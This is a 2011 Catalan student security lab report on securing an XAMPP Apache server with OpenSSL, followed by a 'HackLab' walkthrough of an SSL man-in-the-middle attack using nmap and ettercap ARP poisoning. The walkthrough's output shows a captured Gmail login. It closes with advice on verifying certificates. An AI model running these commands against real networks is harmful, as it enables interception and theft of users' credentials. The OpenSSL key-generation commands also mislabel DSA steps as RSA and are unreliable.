Teoria de la Informació i la Codificació: Pràctica de seguretat

Bartomeu Miró Mateu *
Lluís Cortès Rullan †

25 de maig de 2011

Securització d'un servidor web *Apache* emprant *OpenSSL* i atac *man in the middle* amb suplantació de certificat emprant *ettercap*.

*bartomeumiro a gmail punt com
†lluisbinet a gmail punt com

1 Introducció

La seguretat en les comunicacions és un tema molt important i que moltes vegades es deixa de banda. L'intercanvi de dades a la xarxa s'hauria de fer xifrada i que es sàpiga que realment s'envia la informació al lloc correcte. Per aconseguir això tenim el protocol *SSL (Secure Sockets Layer)*, que ens permet comunicacions segures en una xarxa.

En aquest document veurem el procés a seguir per instal·lar un certificat *SSL* a un servidor *Apache* del paquet *XAMPP*. Per això, començarem veient com es configura el paquet *XAMPP* i l'*OpenSSL*, com es genera la clau privada, el certificat i on s'ha de situar. Per acabar, veurem com algunes vegades aquesta seguretat es pot saltar i analitzarem el procés a seguir per fer-ho.

2 Configuració XAMPP

XAMPP és un paquet de programari que conté un servidor web, *Apache*; una base de dades, *MySQL* i dos llenguatges per interaccionar amb ells, *Perl* i *PHP*. El fet de emprar el *XAMPP* és perquè és un paquet preparat per l'ús immediat i requereix poca configuració.

En un entorn GNU/Linux senzillament s'ha de baixar el paquet i descomprimir-lo com a super-usuari a `/opt`

```
wget http://ignum.dl.sourceforge.net/project/xampp/XAMPP%20Linux/1.7.4/
xampp-linux-1.7.4.tar.gz

tar xvfz xampp-linux-1.7.4.tar.gz -C /opt
```

Podem executar-lo amb la següent comanda i a continuació obrir un navegador web a localhost per comprovar si funciona.

```
/opt/lampp/lampp start
```

3 Configuració OpenSSL

Per la instal·lació del OpenSSL pot fer-se baixant el paquet a la seva web[1] o directament amb el paquet pre-compilat de la distribució emprada. En en aquest cas la distribució emprada és Debian GNU/Linux, així doncs el paquet a instal·lar és el `openssl`

```
aptitude install openssl
```

[1] `http://openssl.org`

Cal esmentar que aquest paquet és sols per generar els certificats, l'*Apache* del *XAMPP* porta suport per *OpenSSL* per atendre les peticions i emprar les claus generades.

Les claus mencionades és generen de la següent manera. En primer lloc generam la clau *RSA*, ens declaram autàrquics i no emprarem cap entitat oficial que la signi.

```
openssl dsaparam -rand -genkey -out mevaRSA.key 1024
```

Tot seguit generam la clau CA.

```
openssl gendsa -des3 -out meuCA.key mevaRSA.key
```

Aquest pas ens requereix una contrasenya, nosaltres establim `practicaseguretat`.

Finalment empram la clau per generar el certificat, amb una caducitat d'un any i emprant *x509*.

```
openssl req -new -x509 -days 365 -key meuCA.key -out nou.crt
```

Un cop hem acabat posam aquests fitxers a la carpeta del *XAMPP*.

```
cp mevaRSA.key /opt/lampp/etc/ssl.key
cp nou.crt /opt/lampp/etc/ssl.crt
```

Un cop fet això ja podem obrir el navegador emprant *https* a localhost i acceptar el certificat, assegurant-mos que sigui el correcte.

Si volem que el *XAMPP* sols permeti connexions xifrades podem fer-ho executant-lo amb el paràmetre `startssl` en lloc de `start`.

```
/opt/lampp/lampp startssl
```

Ja tenim securitzat en nostre servidor amb *OpenSSL*, ara només fa falta distribuir els certificats als usuaris perquè els posin al seu navegador i empraran connexions segures. L'ideal es entregar en mà aquests certificats per evitar que el primer intercanvi siguin fraudulent i siguem víctimes de l'atac explicat a continuació

4 HackLab

En aquest apartat s'explica com saltar-se la seguretat *OpenSSL* prenent un parell de suposicions:

- La víctima i l'atacant estan a la mateixa subxarxa.

- La víctima ha d'acceptar un nou certificat *SSL* fals del qual l'adverteix el navegador.

La primera suposició és senzilla, simplement implica que ambdós clients estiguin connectats a la mateixa xarxa, fins i tot es factible amb xarxes sense fils o *switch* sempre i quan es faci un enverinament *ARP* per fer creure que l'atacant és el punt d'accés i rebi els missatges per tal de manipular-los.

A continuació ens hem d'assegurar que el `ettercap` està configurat adequadament, concretament hem d'observar que el fitxer `/etc/etter.conf` hi hagi els següents paràmetres;

```
[privs]
ec_uid = 0
ec_gid = 0
```

També cal des-comentar les següents línies del fitxer, quedant de la manera següent:

```
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport
%port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport
%port -j REDIRECT --to-port %rport"
```

Ara hem de conèixer en quin escenari ens trobam, primer de tot identificar la nostra adreça *IP* i targeta de xarxa. La targeta de xarxa si és cablejada segurament serà `eth0`, així doncs amb un `ifconfig eth0` hauríem de veure la nostra adreça *IP* al camp `inet addr`.

Un cop fet això cercam les víctimes, una manera de fer-ho és emprant el programa `nmap`, aquest llança *pings* a totes les adreces de la nostra xarxa i mira quines responen.

```
nmap -sP 192.168.1.0/24
```

això ens respondrà amb un

```
Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-24 12:23 CEST
Nmap scan report for 192.168.1.40
Host is up (0.0011s latency).
Nmap scan report for 192.168.1.63
Host is up (0.00062s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 29.89 seconds
```

En el nostre cas la víctima és `192.168.1.63`, nosaltres som l'atacant amb la adreça `192.168.1.40`.

Ara toca fer l'enverinament ARP perquè la víctima ens envii a nosaltres els paquets en lloc del *router* i així poder-los veure i contestar. Aquesta tècnica també és coneguda com *man in the middle*.

```
ettercap -Tq -i eth0 -M arp:remote,oneway /192.168.1.63/ //
```

Ara senzillament toca esperar que la víctima intenti loguejar i accepti el nostre certificat fals. En aquest instant la connexió estarà xifrada amb el nostre certificat i per tant podem desxifrar el missatge enviat. Tot això ho fa el `ettercap` per nosaltres.

```
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 ->       00:0A:E4:33:D4:58     192.168.1.40     255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

1 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.63 00:23:18:B1:D2:92

 GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

HTTP : 209.85.227.104:443 -> USER: practicaopenssl  PASS: h4x0r_pass
INFO: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=
false&continue=https://mail.google.com/mail/?ui=html&zy=l&bsv=llya694le36z&
```

Com podem veure la víctima ha intentat loguejar al seu correu de Gmail. L'usuari és `practicaopenssl` i la contrasenya `h4x0r_pass`. Això significa que ha rebut l'advertiment de que el certificat no era l'autèntic de la pàgina i segurament per resignació, desconeixement i ganes d'entrar al seu correu ha ignorat l'advertiment acceptant el nou certificat fraudulent. Aquest procediment funciona per totes les webs amb *SSL* que s'han provat, entre elles el Facebook, Lastfm...

En resum, emprar *https* no és garantia de res sinó es sap amb seguretat que el certificat emprat és el correcte.

Per tal d'evitar aquest frau sempre ens hem d'assegurar que els certificats són els correctes, sobretot en el primer intercanvi que ha de ser en persona ja que si es un intercanvi a través de la xarxa ens trobam amb el mateix problema.

Per altra banda també ens podem trobar amb que el navegador de serie porti ja uns certificats oficials i que per tant aquí la tasca seria assegurar-se que s'ha instal·lat una versió no fraudulenta del navegador. Aquesta seria l'opció més còmode i transparent per l'usuari.

Aquest document i tota la part de la pràctica que s'ha pogut ha estat desenvolupat emprant programari lliure:
LaTeX i Kile per el text, el paquet XAMPP com a servidor web, OpenSSL per la securització del servidor finalment ettercap per l'anàlisi de la xarxa.